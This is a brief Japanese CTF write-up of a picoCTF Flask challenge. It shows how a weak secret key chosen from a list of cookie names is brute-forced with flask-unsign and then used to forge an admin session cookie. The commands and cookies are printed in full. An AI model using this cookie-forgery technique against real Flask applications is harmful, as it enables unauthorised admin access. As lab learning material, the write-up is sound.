| 150 points
Tags:
AUTHOR: MADSTACKS
Description
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:35697/
調査
適当にCookieの名前を入れてみる。
pythonコードを見ながら正式なものを入れると以下のCookieが発行される。
eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YF6jRg.DNHlV3mtL8Lnw1UArw-36foZtCw
ふむ。
それで、ソースコードを見てて、怪しい所はここ
app.secret_key = random.choice(cookie_names)
普通はこんなことしないので。
秘密鍵はクッキーの名前のどれかということになる。
Flaskのsession情報はCookieに入っているので、これだけの情報があれば偽装できそうだ。
Cookie偽装
秘密鍵をまずは特定する。flask-unsignを使おう。
$ flask-unsign -c "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YF6jRg.DNHlV3mtL8Lnw1UArw-36foZtCw" --unsign --wordlist dic.txt --no-literal-eval [*] Session decodes to: {'very_auth': 'snickerdoodle'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 28 attemptscadamia b'chocolate chip'
OK.
この鍵を使って、very_authをadminに偽装する。
$ flask-unsign --sign --secret "chocolate chip" --cookie "{'very_auth': 'admin'}" eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YF7Eng.TVufPZ0tLCBrnSXLWk7HxQ4bLBU
これをCookieに入れて、/display
にアクセスするとフラグが得られる。
`Flag: